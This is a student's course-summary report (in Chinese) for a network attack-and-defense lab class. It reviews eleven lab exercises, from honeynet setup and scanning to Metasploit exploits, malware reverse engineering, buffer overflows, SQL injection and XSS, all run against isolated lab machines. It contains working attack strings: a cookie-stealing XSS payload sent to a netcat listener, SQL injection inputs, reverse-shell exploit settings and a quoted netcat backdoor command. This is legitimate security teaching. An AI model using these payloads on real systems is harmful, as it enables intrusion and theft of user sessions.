20252813 2025-2026-2 《网络攻防实践》第12次作业

20252813 2025-2026-2 《网络攻防实践》实践十二报告

1.内容总结

第1次实践:虚拟化网络攻防实验环境搭建:使用VMware Workstation搭建基于蜜网架构的虚拟化攻防环境,配置攻击机(Kali Linux / SEED Ubuntu / WinXP Attacker)、靶机(Win2kServer / Metasploitable_ubuntu)和蜜网网关(Honeywall),通过NAT和Host-Only等虚拟网络模式划分不同网段,完成全网连通性测试。本实验是后续所有攻防实践的基础平台。

【实验截图1】网络拓扑结构图
image
详细实验步骤:

(1)安装VMware Workstation,创建自定义虚拟网络。在VMware的"虚拟网络编辑器"中,添加VMnet1(Host-Only模式)和VMnet8(NAT模式)两个虚拟网卡,分别用于隔离靶机网段和攻击机访问外网。

(2)导入六台虚拟机镜像:Kali Linux(攻击机)、SEEDUbuntu(攻击机)、WinXPAttacker(攻击机)、Windows 2000 Server(靶机)、Metasploitable_ubuntu(靶机)、Honeywall(蜜网网关)。

(3)配置各虚拟机网络适配器:将Honeywall的eth0和eth1分别桥接到VMnet1和VMnet8(透明桥接模式),eth2配置为管理口(Host-Only);攻击机(Kali、SEEDUbuntu、WinXPAttacker)配置在VMnet8网段;靶机(Win2kServer、Metasploitable)配置在VMnet1网段。

(4)配置各虚拟机静态IP地址(所有虚拟机统一在 192.168.200.0/25 蜜网网段内):

  • Honeywall管理口:192.168.200.8/25
  • Kali攻击机:192.168.200.4/25(VMnet8网段)
  • SEEDUbuntu攻击机:192.168.200.5/25(VMnet8网段)
  • WinXPAttacker:192.168.200.3/25(VMnet8网段)
  • Win2kServer靶机:192.168.200.133/25(VMnet1网段)
  • Metasploitable靶机:192.168.200.134/25(VMnet1网段)

(5)启动Honeywall,通过Web管理界面( https://192.168.200.8:443 )配置蜜网规则,确保攻击机与靶机之间的所有流量都经过Honeywall透明转发。

(6)在各虚拟机中使用ping、ifconfig/ipconfig、tcpdump等工具测试网络连通性和流量监听效果。

【实验截图2】Honeywall Web管理界面配置
image

【实验截图3】tcpdump抓包验证流量经过蜜网网关
image
image


第2次实践:网络信息收集与漏洞扫描:涵盖DNS域名信息查询(WHOIS/Nslookup)、IP地理位置定位、Nmap主机发现与端口扫描(SYN半开扫描、UDP扫描、服务版本探测)、Nessus漏洞扫描(发现MS17-010等高危漏洞)以及搜索引擎个人足迹查询等OSINT信息收集技术,为后续渗透攻击提供情报支撑。

【实验截图4】Whois查询结果
image

【实验截图5】Nmap扫描结果
image

详细实验步骤:

(1)DNS域名信息查询:以steampy.com为例,通过ICANN WHOIS查询域名注册信息(注册商、注册日期、联系邮箱等);使用nslookup命令解析域名对应的IP地址(139.196.193.54):

nslookup steampy.com

(2)获取好友IP地址及位置:通过QQ/MSN发送文件或发起通话,同时在Windows任务管理器→性能→资源监视器中查看网络活动,获取好友IP(223.160.115.188),通过在线IP归属地查询定位至"湖南省长沙市"。

(3)Nmap主机存活探测:在Metasploitable靶机(IP 192.168.200.134)上使用ifconfig确认IP,然后使用Nmap对靶机进行主机发现:

nmap -sP 192.168.200.0/24

(4)Nmap端口和OS扫描:对靶机进行TCP SYN半开扫描和UDP扫描:

nmap -sS -sU -p- 192.168.200.134

(5)Nmap服务版本快速扫描:使用优化参数组合加速扫描:

nmap -sV -F -n -T4 192.168.200.134

发现开放服务:21/FTP、22/SSH、23/Telnet、80/HTTP、445/SMB、3306/MySQL等。

(6)Nessus漏洞扫描:启动Nessus服务,通过Web界面( https://localhost:8834 )创建扫描任务,对靶机进行全面漏洞扫描,查看不同端口对应的风险等级和漏洞信息(如MS08-067、Samba漏洞等)。

【实验截图6】Nessus漏洞扫描报告
image

【实验截图7】搜索引擎结果
image


第3次实践:网络嗅探与协议分析:使用tcpdump和Wireshark抓取并分析HTTP/DNS/TELNET流量,通过"追踪TCP流"还原明文传输的用户名和密码,揭示明文协议的安全缺陷;对listen.pcap文件进行取证分析,使用Snort和p0f识别扫描主机IP、扫描方式(SYN半开扫描)和操作系统指纹。

【实验截图8】tcpdump抓包结果
image

【实验截图9】Wireshark抓包界面
image

详细实验步骤:

(1)tcpdump抓取HTTPS流量:在Kali中使用tcpdump抓取访问 https://www.163.com 时产生的流量,保存为pcap文件:

sudo tcpdump -n src 192.168.200.4 and tcp port 443 and "tcp[13] & 18 = 2" -w 163_capture.pcap

通过过滤TCP SYN包发现浏览器与17个不同Web服务器IP建立了并发连接,涵盖核心业务节点、CDN节点、图片存储和第三方统计服务。

(2)Wireshark TELNET嗅探:在Kali中使用luit编码工具TELNET登录清华大学水木社区BBS(bbs.mysmth.net),同时用Wireshark抓包,以guest身份登录。使用显示过滤器 telnet 筛选后,通过"Follow TCP Stream"直接看到明文传输的用户名和密码,揭示TELNET明文协议的安全缺陷。

luit -encoding gbk telnet bbs.mysmth.net

(3)Snort分析listen.pcap:使用Snort对listen.pcap进行离线检测:

sudo snort -c snort.lua -r listen.pcap -A alert_full

分析结论:攻击机IP为172.31.4.178,靶机IP为172.31.4.188,分四次探测——ARP存活探测(nmap -sP)、OS指纹识别(nmap -O)、TCP SYN半开全端口扫描(nmap -sS -p 1-65535)、服务版本检测(nmap -sV),发现3306/139/23/80/25/22/21/445/5432/8009等开放端口。

(4)p0f被动指纹识别:使用p0f对攻击流量进行被动指纹识别,推断攻击机操作系统为Linux 2.6.x:

sudo p0f -r listen.pcap

【实验截图10】TELNET明文密码捕获
image

【实验截图11】listen.pcap取证分析结果
image


第4次实践:TCP/IP协议栈攻击:涵盖ARP缓存欺骗攻击(伪造MAC地址映射实现中间人攻击)、ICMP重定向攻击(篡改路由表)、SYN Flood拒绝服务攻击(耗尽半连接队列)、TCP RST攻击(强制中断合法连接)和TCP会话劫持(接管Telnet会话),使用Netwox(80/86/76/78)、Ettercap等工具完成攻击,并通过Wireshark抓包验证攻击效果。

【实验截图12】ARP欺骗攻击效果(arp -a)
image

【实验截图13】Ettercap流量劫持界面
image

详细实验步骤:

(1)ARP缓存欺骗攻击(netwox 80):在Kali中使用Netwox伪造ARP应答包,将Win2kServer的MAC地址映射篡改为Kali的MAC地址:

sudo netwox 80 -e 00:0c:29:e6:a3:58 1 -i 192.168.200.131

在Metasploitable靶机上执行 arp -a 验证ARP表已被篡改,Win2kServer的MAC变为Kali的MAC。

(2)ICMP重定向攻击(netwox 86):伪造路由器重定向报文,使目标主机的下一跳路由指向攻击机:

netwox 86 -f "host 192.168.200.4" -g 192.168.200.6 -i 192.168.200.1

(3)SYN Flood攻击(netwox 76):向靶机23端口发送大量伪造源地址的SYN包,耗尽半连接队列:

netwox 76 -i 192.168.200.5 -p 23

(4)TCP RST攻击(netwox 78):伪造RST标志位的TCP报文,强制中断已建立的合法Telnet连接:

netwox 78 -i 192.168.200.5

(5)TCP会话劫持(Ettercap):使用Ettercap GUI模式进行ARP投毒中间人攻击,嗅探Telnet会话中的账号密码等明文数据:

ettercap -G

【实验截图14】SYN Flood攻击效果(靶机CPU/网络负载)
image

【实验截图15】TCP会话劫持结果
image


第5次实践:防火墙与入侵检测:配置iptables防火墙规则实现ICMP过滤和基于源IP的访问控制(白名单策略),使用Snort入侵检测系统对离线流量进行深度包检测(DPI)并识别端口扫描行为,深入分析蜜网网关(Honeywall)中rc.firewall和snortd的协同工作机制——数据控制与数据捕获的平衡设计。

【实验截图16】iptables规则配置
【实验截图17】Snort告警日志

详细实验步骤:

(1)iptables ICMP过滤——在Kali攻击机上配置,防御Ping扫描:

sudo iptables -A INPUT -p icmp -j DROP
sudo iptables -L

(2)iptables Telnet访问控制——在Ubuntu靶机(192.168.200.4)上配置白名单策略,仅允许Kali(192.168.200.6)访问:

sudo iptables -A INPUT -p tcp -s 192.168.200.6 -j ACCEPT
sudo iptables -A INPUT -j DROP

(3)理解规则顺序:iptables规则从上到下顺序匹配,全局DROP必须放在ACCEPT之后。

(4)Snort离线分析listen.pcap:

snort -r listen.pcap -c /etc/snort/snort.conf -K ascii
snort -c snort.lua -r listen.pcap -l /var/log/snort

检测到172.31.4.178对172.31.4.188的nmap扫描行为,并针对大量SMB误报添加精确偏移量检测规则过滤正常NetBIOS查询干扰。

(5)蜜网网关(Honeywall)防御机制分析:查看 rc.firewall 初始化脚本、iptables过滤表规则和snortd守护进程配置。发现INPUT链仅放行ssh和https,FORWARD链对外发协议设置速率限制(HTTP/ICMP/UDP为avg 20/hour burst 5,FTP/SSH等为avg 10/hour burst 5),并通过LOG规则给所有穿越网桥的数据包打上[HW]标签记录到内核日志。

【实验截图18】Snort规则文件
【实验截图19】蜜网网关防火墙规则分析


第6次实践:Windows系统远程渗透攻击:使用Metasploit Framework对Windows靶机的MS08-067漏洞进行远程渗透攻击,成功获取Meterpreter会话;通过Wireshark对蜜罐主机被攻陷的流量进行取证分析,还原从Unicode目录遍历、SQL注入到Netcat反向Shell部署的完整攻击链;开展红蓝对抗——攻方渗透、守方抓包复盘。

【实验截图20】MSF攻击模块加载
【实验截图21】获取Meterpreter Shell

详细实验步骤:

(1)启动Metasploit Framework:

msfconsole

(2)搜索并加载MS08-067漏洞利用模块:

search ms08_067
use exploit/windows/smb/ms08_067_netapi

(3)设置攻击参数:

set RHOST 192.168.200.10(Win2k靶机IP)
set LHOST 192.168.200.6(Kali攻击机IP)
set PAYLOAD generic/shell_reverse_tcp

(4)执行攻击:

exploit

(5)攻击成功后验证权限:

sysinfo
getuid
shell

(6)取证分析——分析snort-0204@0117.log:使用Wireshark打开蜜罐被攻陷的流量文件,还原完整攻击链:攻击者IP 212.116.251.162 → 蜜罐 172.16.1.106(lab.wiretrip.net)。攻击步骤:Unicode目录遍历(HTTP请求含%C0%AF绕过路径检查访问boot.ini)→ msadc SQL注入攻击(含"ADM!ROX!YOUR!WORLD"字符串)→ FTP暴力登录 → 部署Netcat反向Shell(nc -l -p 6969 -e cmd1.exe)→ 后渗透操作(dir/type/delete,创建rdisk应急修复盘维持访问)。

(7)攻防对抗演练:分组扮演攻击方和防守方,攻击方使用MS08-067漏洞发起渗透,防守方使用Wireshark实时捕获流量,事后通过过滤和流追踪功能对攻击行为进行完整复盘。

【实验截图22】Wireshark流量分析还原攻击过程
【实验截图23】攻防对抗防守方日志


第7次实践:Linux系统远程渗透攻击:利用Samba Usermap_script命令注入漏洞(CVE-2007-2447)对Metasploitable Linux靶机进行远程渗透攻击,该漏洞发生在用户身份验证之前,攻击成功后直接以root身份进入靶机;在攻防对抗中通过Wireshark捕获并分析攻击流量,提取攻击者IP、目标端口、漏洞利用特征(通过SMB协议包中的恶意命令注入)和后续执行命令(如whoami)。

【实验截图24】Samba漏洞利用成功
【实验截图25】vsFTP漏洞利用过程

详细实验步骤:

(1)Samba Usermap_script漏洞利用:在Metasploit中搜索并加载Samba漏洞利用模块:

search samba
use exploit/multi/samba/usermap_script

(2)设置攻击参数:

set RHOST 192.168.200.5(Metasploitable靶机IP)
set LHOST 192.168.200.6(Kali攻击机IP)
set PAYLOAD cmd/unix/reverse
set LPORT 4444

(3)执行攻击,获取root权限Shell,验证:whoami(返回root):

exploit

(4)攻防对抗实践:攻击方利用Samba漏洞攻击Linux靶机,防守方使用Wireshark捕获攻击流量(过滤条件:tcp.port == 139 or tcp.port == 445)。

(5)流量分析:追踪Shell连接的TCP流,可见攻击者输入的命令以明文形式传输,反向连接记录为"192.168.200.5 > 192.168.200.6 TCP 59056 > 4444 [PSH, ACK] "。

【实验截图26】Wireshark捕获Samba攻击流量
【实验截图27】vsFTP漏洞攻击流量特征


第8次实践:恶意代码分析与逆向:使用IDA Pro对crackme1.exe和crackme2.exe进行静态逆向分析,定位关键判断分支并提取验证逻辑(参数校验和文件名校验);对RaDa.exe恶意代码样本进行综合剖析——UPX脱壳、字符串提取(定位作者信息)、行为分析(注册表持久化、HTTP C2通信、DDoS攻击、屏幕截图),判定为木马与僵尸程序结合体;基于Snort日志分析僵尸网络流量,识别IRC C2服务器并统计感染主机规模(3,461台)。

【实验截图28】IDA Pro反汇编界面
【实验截图29】rada恶意代码字符串提取结果

详细实验步骤:

(1)Crackme逆向分析:
- crackme1.exe:IDA Pro分析main函数,通过Strings窗口发现比较目标字符串,定位strcmp判断argv[1]是否为"I know the secret.",正确执行后输出"You know how to speak to programs, Mr. Reverse-Engineer"
- crackme2.exe:除参数校验外还需文件名校验——strrchr提取程序名与"crackmeplease.exe"比较,需要先copy crackme2.exe crackmeplease.exe再执行 crackmeplease.exe "I know the secret.",输出"We have a little secret: Chocolate"

(2)RaDa.exe恶意代码分析:
- 文件类型:file命令识别为PE32 executable
- 查壳与脱壳:PEiD检测为UPX 0.89.6-1.02壳,使用"超级巡警之虚拟机自动脱壳器"脱壳(upx -l验证失败表明文件已被修改/保护)
- 作者获取:RaDa_unpacked.exe --authors 输出作者为"Raul Siles & David Perez",来源Honeynet SotM 32
- MD5:caaa6985a43225a0b3add54f44a0d4c7

(3)恶意代码综合判定:
- 攻击目的:HTTP C2通信( http://10.10.10.10/RaDa/RaDa_commands.html )、DDoS("Starting DDoS Smurf remote attack...")、屏幕截图(InternetExplorer.Application)、信息窃取(WMI查询MAC地址)
- 持久化:注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\下设置自启动
- 反分析:UPX加壳+文件完整性保护
- 分类:特洛伊木马+僵尸程序(Bot)结合体,类似Poison Ivy/DarkComet
- 僵尸网络:IRC服务器209.196.44.172:6667,5天内3,461台不同主机加入,165个攻击源IP,MS08-067漏洞攻击成功后在蜜罐执行PSEXESVC.EXE完成僵尸网络注册

【实验截图30】x64dbg动态调试断点设置
【实验截图31】rada恶意代码行为分析报告


第9次实践:缓冲区溢出攻击:由浅入深完成三项任务——手工修改可执行文件(通过修改机器码中call指令偏移量改变程序执行流)、构造BOF攻击payload覆盖返回地址劫持EIP、注入自定义shellcode(execve "/bin/sh")并利用NOP滑行区实现Shell获取。通过本次实验深入理解了栈帧结构(返回地址→EBP→局部变量)、GDB调试定位地址、以及绕过NX/ASLR等防御机制的基本思路。

【实验截图32】二进制文件patch前后对比
【实验截图33】缓冲区溢出攻击成功获取Shell

详细实验步骤:

(1)手工修改可执行文件(Binary Patching):使用IDA Pro或十六进制编辑器(如010 Editor)打开目标二进制文件,定位关键跳转指令(如jmp、call),修改机器码直接跳转到getShell函数地址,改变程序执行流程。

(2)栈溢出原理实验:编写存在栈溢出漏洞的C程序(如使用strcpy拷贝未限制长度的用户输入),使用GCC编译(关闭栈保护):

gcc -fno-stack-protector -z execstack -o vuln vuln.c

(3)计算偏移量:使用pattern_create和pattern_offset工具或GDB的cyclic功能,确定覆盖返回地址所需的精确偏移量。

(4)构造shellcode:编写或使用现成的shellcode(如Linux x86 execve /bin/sh),嵌入到payload中。

(5)编写漏洞利用脚本(Python + Pwntools):

from pwn import *
payload = b'A' * offset + p32(shellcode_address) + shellcode

(6)执行攻击:运行漏洞程序并输入精心构造的payload,覆盖返回地址,使程序跳转到shellcode执行,获取Shell权限。

【实验截图34】GDB调试查看栈帧结构
【实验截图35】Python漏洞利用脚本执行结果


第10次实践:SQL注入与XSS跨站脚本攻击:在SEED Ubuntu实验环境中完成SQL注入攻击(SELECT注入绕过登录认证、UPDATE注入篡改数据)并使用参数化查询修复漏洞;在Elgg社交平台完成XSS攻击全链路——从弹窗验证、Cookie窃取、自动加好友、自动修改受害者资料到编写自传播XSS蠕虫,最后通过HTML转义和CSP策略实现防御。

【实验截图36】SQL联合查询注入结果
【实验截图37】XSS弹窗验证

详细实验步骤:

(1)SELECT注入——登录绕过:在SEED Labs的员工管理应用(www.SEEDLabSQLInjection.com)登录框,用户名输入 Admin'#,密码任意。' 闭合SQL字符串,# 注释后续密码验证部分,以管理员身份登录查看所有员工信息。

(2)UPDATE注入——修改数据:先以Alice身份登录(Alice'#),在NickName字段填入:

', salary='2935' where Name='Alice';#

', 闭合原nickname赋值,添加salary='2935',where指定记录,# 注释剩余语句。

(3)SQL注入修复——参数化查询:将unSafe SQL拼接改为prepared statement + bind_param,修复后 Admin'# 注入失效。

(4)XSS攻击——在Elgg社交平台(www.xsslabelgg.com,Alice/Boby账户)的About me字段(Edit HTML模式)逐步升级攻击:

①弹窗验证:<script>alert('XSS Attack');</script>

②窃取Cookie:<script>document.write('<img src=http://192.168.200.8:5555/foo?'+document.cookie+' />');</script>,攻击机 nc -l 5555 监听接收

③自动加好友:通过XMLHttpRequest发送GET到/action/friends/add?friend=44,使用elgg.security.token动态获取令牌

④修改受害者资料:POST到/action/profile/edit,修改Description为"This profile has been infected by XSS worm."

⑤XSS蠕虫:将加好友+改资料+自复制代码合并,Alice→Boby→Charlie自动传播

(5)XSS防御验证:Elgg默认使用htmlspecialchars转义,<b>test</b> 被转义为 &lt;b&gt;test&lt;/b&gt; 显示为纯文本。

【实验截图38】sqlmap自动化注入结果
【实验截图39】存储型XSS持久化效果


第11次实践:Web浏览器渗透攻击与取证分析:使用Metasploit构造MS06-014浏览器漏洞利用页面,诱使靶机访问后获取Meterpreter Shell;对网页木马攻击场景进行静态分析(逐层解密混淆JavaScript、追踪重定向链、识别漏洞利用代码)和动态分析(Wireshark抓包、Process Monitor监控进程行为);开展攻防对抗实践——攻击方构造并混淆多个浏览器渗透代码,防守方解混淆分析并恢复原始攻击代码。

【实验截图40】MSF浏览器漏洞利用页面构造
【实验截图41】网页木马混淆代码解码过程

详细实验步骤:

(1)Web浏览器渗透攻击:Kali(192.168.200.3) → Win2k靶机(192.168.200.8),攻击成功获得NT AUTHORITY\SYSTEM权限:

search MS06-014
use exploit/windows/browser/ms06_014_ie_createobject
set payload windows/shell_reverse_tcp
set LHOST 192.168.200.3
exploit

生成恶意URL http://192.168.200.3:8080/iKxLPtuGU9Nwzc ,靶机IE访问后触发漏洞,sessions -i 1 进入会话。

(2)网页木马取证分析——从start.html开始逐层分析:start.html通过隐藏iframe(width/height=0)引用new09.htm→引用外部JS(js.users.51.la/1299644.js)和kl.htm→对每个解密出的URL计算MD5,从http://192.168.68.253/scom/hashed/[MD5]下载对应文件→递归分析直到完整还原攻击链条。

(3)攻防对抗实践:攻击方构造MS06-014和MS10-002两个浏览器漏洞利用页面,使用JavaScript混淆(escape/encodeURIComponent/变量名替换/字符串拆分拼接)后嵌入钓鱼邮件;防守方提取URL后在隔离沙箱中解混淆分析,识别COM对象CLSID和CVE编号,恢复原始渗透代码。

【实验截图42】网页木马重定向链分析
【实验截图43】攻防对抗流量分析结果

2.最喜欢且做得最好的实践是哪次?为什么?

我最喜欢且做得最好的是第8次实践——恶意代码分析与逆向。这次实践从两个看似简单的Crackme小程序入手,再到RaDa.exe真实恶意代码样本的全面剖析,最后还得分析数千台主机规模的僵尸网络流量,信息量大、技术链路长,让我感觉像是真正做了一次安全分析工作。

具体来说,这次实践有几个让我印象深刻的地方。第一是Crackme逆向分析——crackme1.exe只需要传入正确的命令行参数,crackme2.exe除了参数还校验了文件名是否为"crackmeplease.exe"。用IDA Pro打开后看流程图和伪代码,定位到关键比较指令的那一刻,我突然理解了原来程序的"验证逻辑"本质上就是几个cmp和jmp的组合。第二是RaDa.exe的UPX脱壳——用PEiD扫出来是UPX壳,脱完之后strings一下子多出来大量可读内容,包括作者名字Raul Siles & David Perez、HTTP请求URL、注册表路径等,这种"从一团迷雾到豁然开朗"的感觉很上瘾。第三是大规模僵尸网络流量分析——从Snort日志中统计出3,461台不同受害主机、165个攻击源IP,让我对僵尸网络的真实规模有了数据上的直观感受。

为什么觉得这次做得最好呢?因为相比其他几次主要依赖Metasploit点几下就能完成的实验,第8次实验要求我从二进制层面去"读"程序在想什么——要看导入表推测功能、看字符串推测意图、看反汇编代码理解执行流。而且这次实验的每个分析结果都能相互印证:脱壳后提取的字符串解释了C2通信机制,C2通信机制又对应了僵尸网络流量中的IRC行为。这种多维度交叉验证的分析过程,让我第一次体会到恶意代码分析不是玄学,而是一套有章可循的方法论。

本节相关截图参见:【实验截图28】IDA Pro反汇编界面、【实验截图29】RaDa恶意代码字符串提取结果、【实验截图30】x64dbg动态调试断点设置、【实验截图31】RaDa恶意代码行为分析报告

3.本门课学到的知识总结(重点写)

本学期的11次实践从环境搭建开始,逐步深入到网络协议分析、系统渗透、恶意代码分析和Web安全,形成了一条完整的攻防知识链路。以下按照专业技能知识点对所学内容进行系统梳理。

3.1 安全加固和检测技术

掌握了Nmap的多种扫描方式(SYN扫描、TCP连接扫描、UDP扫描),能够进行主机发现、端口扫描、服务版本识别和操作系统指纹识别。熟练使用Wireshark进行流量抓包和分析,能够通过过滤表达式(如ip.src、tcp.port、tcp.flags)快速定位特定流量,通过"Follow TCP Stream"功能还原完整的TCP会话内容。了解了Nessus漏洞扫描器的工作原理,能够根据扫描结果中的CVE编号和风险等级制定加固方案,如关闭冗余端口、部署防火墙规则、更新系统补丁等。

3.2 Web安全技术

深入理解了SQL注入漏洞的产生原因(未对用户输入进行参数化处理)和利用方式,包括联合查询注入(通过UNION SELECT获取其他表中的数据)、基于布尔的盲注(通过页面返回差异判断条件真假)和基于时间的盲注(通过响应时间差异进行判断)。掌握了XSS跨站脚本攻击的分类:反射型XSS(恶意脚本通过URL参数注入并立即返回)、存储型XSS(恶意脚本被存储在服务器数据库中,影响所有访问用户)。理解了CSRF攻击的原理(利用用户已登录的身份发起非预期请求)和防御方法(添加Anti-CSRF Token)。了解了文件上传漏洞的绕过方式(后缀绕过、MIME类型验证绕过)。掌握了修复方法:参数化查询或使用ORM框架防SQL注入、输入过滤和输出编码防XSS、添加Token防CSRF。

3.3 逆向分析技术

掌握了IDA Pro的基本操作,包括静态反编译查看函数调用图、交叉引用分析、字符串提取(Strings窗口)、F5反编译生成类C伪代码。学会了使用x64dbg进行动态调试,包括设置断点(软件断点/硬件断点)、单步执行(F7/F8)、查看和修改寄存器值(EAX、EBX、EIP等)、查看调用栈。理解了加壳与脱壳的基本原理:加壳通过压缩或加密原始代码增加分析难度,脱壳需要在程序运行到OEP(原始入口点)时将内存中的代码dump出来。能够通过分析导入函数、字符串和网络行为识别恶意代码的逻辑。

3.4 主流代码审计技术

了解了PHP/Python/Java等语言中常见的安全缺陷,能够定位未经过滤的用户输入(如$_GET、$_POST、request.getParameter)和危险函数调用(如eval、exec、system、Runtime.exec)。理解了命令注入漏洞的产生原因(用户输入被直接拼接到系统命令中)和判断方法。能够通过代码审计发现逻辑漏洞(如越权访问、支付金额篡改等)。

3.5 程序设计

掌握了Python编程语言在安全领域的应用:使用requests库编写Web爬虫和自动化漏洞探测脚本;使用scapy库进行网络协议分析和数据包构造(如构造ARP欺骗包、SYN Flood包);编写简单的漏洞利用脚本(如缓冲区溢出的exploit脚本)。了解了C/C++语言中缓冲区溢出漏洞的产生原理(不安全的字符串操作函数如strcpy、gets)。了解了PHP中常见的危险函数和Web安全编码规范。

3.6 计算机病毒技术

理解了病毒(需要宿主程序才能运行)、蠕虫(可通过网络自我复制和传播)、木马(伪装成正常程序,隐藏恶意功能)三者的区别。掌握了恶意代码的传播途径(邮件附件、漏洞利用、社会工程学等)。了解了恶意代码的隐藏方式:进程注入(将恶意代码注入到合法进程中运行)、注册表启动项(实现开机自启动)、Rootkit技术(隐藏进程、文件和网络连接)。熟悉了防范措施:杀毒软件的特征码查杀原理、沙箱隔离技术、行为监控和异常检测。

3.7 网络溯源及防范技术

能够通过分析系统日志、防火墙日志和Wireshark抓包文件溯源攻击源IP、攻击时间线和攻击手法。在第3次实验(listen.pcap取证)和第6次实验(NT系统破解攻击流量分析)中,通过分析数据包的源IP、目的IP、端口、TCP标志位和载荷内容,还原了完整的攻击过程。掌握了基本的防御策略:IP封禁(通过iptables或防火墙)、流量清洗(识别并过滤DDoS攻击流量)。

3.8 加密解密技术

理解了对称加密(AES、DES)和非对称加密(RSA、ECC)的原理及应用场景:对称加密适用于大量数据的加密传输(如HTTPS中的会话密钥加密),非对称加密适用于密钥分发和数字签名。掌握了哈希算法(MD5、SHA-1、SHA-256)的特性(单向性、抗碰撞性),理解了数字签名的验证流程(发送方用私钥签名,接收方用公钥验证)。

3.9 信息系统运行维护

熟练掌握了Linux系统的基本命令(ifconfig/ip、ping、tcpdump、iptables、netstat、ps、grep等),能够排查网络连通性问题、服务启动故障和系统异常。了解了系统备份与恢复的基本方法。

3.10 网络协议分析

掌握了TCP/IP协议栈的核心知识:TCP的三次握手过程(SYN→SYN-ACK→ACK)和四次挥手过程、UDP的无连接特性。理解了HTTP/HTTPS协议的请求方法(GET、POST、PUT、DELETE等)、状态码(200、301、302、404、500等)和SSL/TLS握手过程。能够使用Wireshark分析异常流量,如ARP欺骗流量(异常的ARP应答包)、SYN Flood流量(大量只有SYN没有ACK的半连接)、端口扫描流量(大量指向不同端口的数据包)。

3.11 数据库

熟悉了MySQL的基本操作(增删改查)和SQL语句的编写。能够识别并修复数据库漏洞:SQL注入漏洞的修复(使用参数化查询或预处理语句)、弱密码问题(强制复杂密码策略)、默认账户问题(删除或禁用默认账户)。

3.12 法律

了解了网络安全领域的三法两条例:《中华人民共和国网络安全法》(2017年施行,规定了网络运营者的安全保护义务)、《中华人民共和国数据安全法》(2021年施行,规范数据处理活动)、《中华人民共和国个人信息保护法》(2021年施行,保护个人信息权益)、《关键信息基础设施安全保护条例》和《网络安全等级保护条例》。理解了在从事网络攻防研究和实践时,必须在合法合规的框架内进行,不得对未授权的系统进行渗透测试。

3.13 基础

本次课程的学习建立在计算机组成原理(理解CPU如何执行指令、内存寻址、栈帧结构)、操作系统(理解进程管理、内存管理、文件系统、系统调用)、计算机网络(理解TCP/IP协议栈、网络分层模型、路由与交换)和数据结构(理解数组、链表、栈、队列等数据结构在内存中的布局)的基础知识之上。特别是在缓冲区溢出实验中,对栈帧结构的理解需要扎实的计算机组成和操作系统知识;在网络协议攻击实验中,对TCP/IP协议细节的理解需要扎实的计算机网络知识。

5.课堂的收获与不足

收获:

这门课给我最大的收获不是记住了多少条命令,而是建立了一套比较完整的攻防思维框架。11次实践按照"环境搭建→信息收集→流量分析→协议攻击→纵深防御→系统渗透→逆向分析→二进制漏洞→Web攻防→浏览器安全"的顺序推进,每一环都为下一环做铺垫。现在回头看,我能清晰地讲出一次完整渗透的大致流程:先做信息收集搞清楚目标有什么(Nmap/Nessus),然后分析目标协议或应用的弱点(Wireshark抓包分析),再选择合适的漏洞利用方式(Metasploit或手工exploit),得手后还要考虑怎么维持访问、怎么清理痕迹。反过来从防御者视角,也知道了在每个阶段可以做什么——信息收集阶段减少暴露面、漏洞利用阶段靠防火墙和IDS拦截、得手后靠日志审计发现异常。

几个具体的收获:一是对网络协议的细节理解加深了。ARP欺骗和SYN Flood这些攻击,不看Wireshark抓包就只是概念,看到ARP应答包里伪造的MAC地址、看到半连接队列里堆积的SYN包,概念才变成直觉。二是对"输入即威胁"这个安全基本原则有了切身体会——SQL注入是输入没过滤、XSS是输入没过滤、缓冲区溢出还是输入没过滤(gets/strcpy不检查长度)、Samba漏洞也是输入没过滤(用户名里的shell元字符)。不同场景、不同语言、不同漏洞类型,根因往往是同一个:信任了不该信任的输入。三是掌握了几个核心工具链:Nmap→Nessus→Metasploit构成攻击链,Wireshark→Snort→iptables构成防御链,IDA Pro→x64dbg→Pwntools构成逆向与exploit开发链。工具之间不是孤立的,而是一环扣一环的。四是对"纵深防御"有了实际感受——第5次实践中分析Honeywall的rc.firewall和snortd协同配置,发现好的防御不是单点拦截,而是多层过滤+速率限制+行为审计的组合。

此外,课程中穿插的几次取证分析(listen.pcap分析、NT系统破解攻击流量还原、网页木马JS逐层解密)让我养成了一个习惯:拿到一个pcap或可疑文件时,先不急着下结论,而是从时间线、IP、端口、载荷内容四个维度逐步收敛。这种方法论在以后面对真实安全事件时应该用得上。

不足:

回顾11次实践,我意识到自己还有不少需要加强的地方:

第一是独立排查问题的能力还不够。实验中遇到报错(如MSF模块exploit失败、Wireshark过滤没结果、虚拟机网络不通),很多时候第一反应是去搜解决方案或者问AI,而不是先自己分析日志和抓包。虽然最后都解决了,但独立定位根因的效率还有提升空间。比如第4次实践中ARP欺骗后目标无法上网的问题,其实开了IP转发就解决了,但如果对Linux内核网络参数(/proc/sys/net/ipv4/ip_forward)不熟悉,这种简单问题也要绕很大一圈。

第二是对Metasploit的理解停留在"会用但不懂原理"的层面。msfconsole里search、use、set、exploit一套操作很熟练,但payload的生成过程、不同encoder的区别、Meterpreter与普通shell的通信协议差异、stage0/stage1的分阶段加载机制等底层细节,我其实并没有真正钻进去研究过。

第三是Web安全方面的深度不够。第10次和第11次实践涉及SQL注入和XSS,在SEED labs的预设环境中完成得比较顺利,但如果是面对一个真实的、有WAF防护的Web应用,或者遇到SSRF、反序列化、模板注入等更复杂的漏洞类型,我可能缺乏独立发现和利用的能力。后续需要多刷一些CTF的Web题来补这一块。

第四是自动化思维的欠缺。每次做实验基本都是手动操作——手动nmap、手动开Wireshark、手动构造payload。但如果面对的是大规模扫描任务或者批量漏洞验证,手动操作效率太低。后续应该尝试把常用的攻防流程脚本化,比如用Python + scapy写自动化扫描脚本、用bash写批量pcap分析脚本。

第五是防御视角的训练偏少。11次实践中大部分是站在攻击者角度做渗透,防守方视角主要在第5次(防火墙+Snort)和第6/7次的攻防对抗中出现。对于真正的安全运维人员来说,如何从海量日志中快速定位异常、如何制定有效的应急响应预案、如何在业务连续性和安全性之间做平衡,这些实战场景在课程中涉及较少,也是我以后需要自己补的方向。

本节涉及的实验截图参考:【实验截图12】ARP欺骗攻击效果、【实验截图17】Snort告警日志、【实验截图28-31】逆向分析全过程、【实验截图33】缓冲区溢出攻击获取Shell、【实验截图36-39】SQL注入与XSS效果

6.参考文献

[1] 全国人民代表大会常务委员会. 中华人民共和国网络安全法[Z]. 2016-11-07.

[2] 全国人民代表大会常务委员会. 中华人民共和国数据安全法[Z]. 2021-06-10.

[3] 全国人民代表大会常务委员会. 中华人民共和国个人信息保护法[Z]. 2021-08-20.

